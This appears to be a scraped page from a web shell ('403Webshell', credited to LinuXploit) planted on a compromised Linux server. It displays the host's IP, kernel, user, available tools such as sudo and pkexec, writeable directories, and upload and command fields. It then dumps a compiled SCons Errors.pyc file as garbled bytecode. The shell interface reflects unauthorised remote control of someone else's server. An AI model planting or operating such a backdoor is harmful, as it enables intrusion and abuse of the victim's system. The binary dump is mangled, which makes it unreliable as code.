403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/Errors.pyc
�
�b3Qc@s�dZdZddlZddlZdefd��YZdefd��YZdefd	��YZd
efd��YZ	defd
��YZ
defd��YZdefd��YZ
dd�ZdS(sjSCons.Errors

This file contains the exception classes used to handle internal
and user errors in SCons.

s5src/engine/SCons/Errors.py  2013/03/03 09:48:35 garyoi����Nt
BuildErrorcBs;eZdZdddddddddd�	Zd�ZRS(s	 Errors occuring while building.

    BuildError have the following attributes:

        Information about the cause of the build error:
        -----------------------------------------------

        errstr : a description of the error message

        status : the return code of the action that caused the build
                 error. Must be set to a non-zero value even if the
                 build error is not due to an action returning a
                 non-zero returned code.

        exitstatus : SCons exit status due to this build error.
                     Must be nonzero unless due to an explicit Exit()
                     call.  Not always the same as status, since
                     actions return a status code that should be
                     respected, but SCons typically exits with 2
                     irrespective of the return value of the failed
                     action.

        filename : The name of the file or directory that caused the
                   build error. Set to None if no files are associated with
                   this error. This might be different from the target
                   being built. For example, failure to create the
                   directory in which the target file will appear. It
                   can be None if the error is not due to a particular
                   filename.

        exc_info : Info about exception that caused the build
                   error. Set to (None, None, None) if this build
                   error is not due to an exception.


        Information about the cause of the location of the error:
        ---------------------------------------------------------

        node : the error occured while building this target node(s)
        
        executor : the executor that caused the build to fail (might
                   be None if the build failures is not due to the
                   executor failing)
        
        action : the action that caused the build to fail (might be
                 None if the build failures is not due to the an
                 action failure)

        command : the command line for the action that caused the
                  build to fail (might be None if the build failures
                  is not due to the an action failure)
        s
Unknown erroric

Cs}||_||_||_||_|	|_||_||_||_||_t	j
||||||||||	�
dS(N(terrstrtstatust
exitstatustfilenametexc_infotnodetexecutortactiontcommandt	Exceptiont__init__(
tselfRRRRRRRR	R((s/usr/lib/scons/SCons/Errors.pyR[s									cCs&|jr|jd|jS|jSdS(Ns: (RR(R((s/usr/lib/scons/SCons/Errors.pyt__str__ns	N(NNN(t__name__t
__module__t__doc__tNoneRR
(((s/usr/lib/scons/SCons/Errors.pyR%s
4t
InternalErrorcBseZRS((RR(((s/usr/lib/scons/SCons/Errors.pyRtst	UserErrorcBseZRS((RR(((s/usr/lib/scons/SCons/Errors.pyRwst	StopErrorcBseZRS((RR(((s/usr/lib/scons/SCons/Errors.pyRzstEnvironmentErrorcBseZRS((RR(((s/usr/lib/scons/SCons/Errors.pyR}st	MSVCErrorcBseZRS((RR(((s/usr/lib/scons/SCons/Errors.pyR�stExplicitExitcBseZddd�ZRS(cGs/||_||_||_tj||�dS(N(RRRR
R(RRRtargs((s/usr/lib/scons/SCons/Errors.pyR�s			N(RRRR(((s/usr/lib/scons/SCons/Errors.pyR�scCs�|r+t|t�r+|j|d
f}nt|t�rL|}d|_n�t|t�r�|j}d|}td|d|d|d|�}n:t|tt	f�r�tdt
|�ddddd|�}n�t|tj�r:y
|j
}Wntk
r	d
}nXtd|jd|jddd|d|�}n�t|t�r}tdd|jj|fddddd|�}nOtjj|�r�td|dddd�}ntdd	|d|dd�}|S(s�
    Convert any return code a BuildError Exception.

    `status' can either be a return code or an Exception.
    The buildError.status we set here will normally be
    used as the exit status of the "scons" process.
    isExplicit exit, status %sRRRRRs%s : %ssError %sN(t
isinstanceR
t	__class__RRRRRRRtstrt
exceptionsRRtAttributeErrortstrerrorterrnoRtSConstUtilt	is_String(RRt
buildErrorRR((s/usr/lib/scons/SCons/Errors.pytconvert_to_BuildError�s\	



		
	(Rt__revision__t
SCons.UtilR RR
RRRRRtIOErrorRRRR$(((s/usr/lib/scons/SCons/Errors.pyt<module>sO

Youez - 2016 - github.com/yon3zu
LinuXploit